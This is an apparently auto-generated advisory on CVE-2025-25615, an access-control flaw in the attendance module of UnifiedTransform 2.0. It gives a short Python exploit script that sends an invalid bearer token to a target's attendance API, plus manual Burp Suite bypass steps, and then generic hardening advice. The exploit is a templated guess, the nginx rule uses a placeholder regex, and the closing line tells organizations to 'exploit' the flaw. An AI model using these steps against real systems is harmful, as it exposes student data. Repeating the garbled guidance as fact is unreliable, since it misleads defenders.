How the CVE Works:
CVE-2025-25615 is a critical vulnerability in UnifiedTransform 2.0, an educational management platform. The flaw arises due to incorrect access control mechanisms in the application, specifically within the attendance management module. Attackers can exploit this vulnerability to bypass authentication and authorization checks, allowing unauthorized access to attendance lists for all class sections. This is achieved by manipulating HTTP requests or exploiting misconfigured API endpoints, which fail to validate user permissions properly. The vulnerability has a CVSS 4.0 score of 9.8 (Critical), indicating its high severity and potential for widespread impact.
DailyCVE Form:
Platform: UnifiedTransform
Version: 2.0
Vulnerability: Incorrect Access Control
Severity: Critical
Date: 03/10/2025
What Undercode Say:
Exploitation:
1. Exploit Code (Python):
import requests
target_url = "http://target-site.com/api/attendance"
headers = {"Authorization": "Bearer invalid_token"}
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print("Exploit Successful:", response.json())
else:
print("Exploit Failed:", response.status_code)
2. Manual Exploitation Steps:
- Intercept the HTTP request to the attendance API using tools like Burp Suite.
- Modify the request headers or parameters to bypass authentication.
- Replay the request to retrieve unauthorized attendance data.
Protection:
1. Patch Application:
- Update UnifiedTransform to the latest version if a patch is available.
- Apply secure coding practices to fix access control flaws.
2. Web Application Firewall (WAF):
- Configure WAF rules to block unauthorized API requests.
- Example WAF Rule:
location /api/attendance { if ($http_authorization !~ "valid_token_regex") { return 403; } }
3. Input Validation:
- Implement strict input validation and role-based access control (RBAC) for all API endpoints.
- Example Code (Node.js):
const validateUser = (req, res, next) => { const userRole = req.user.role; if (userRole !== 'admin') { return res.status(403).json({ error: 'Access Denied' }); } next(); };
4. Logging and Monitoring:
- Enable detailed logging for all API requests and responses.
- Use SIEM tools to detect and alert on suspicious activities.
5. Security Headers:
- Add security headers to prevent unauthorized access:
Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY
6. Regular Audits:
- Conduct regular security audits and penetration testing to identify and mitigate vulnerabilities.
By following these steps, organizations can effectively exploit and protect against CVE-2025-25615, ensuring the security of their educational management systems.
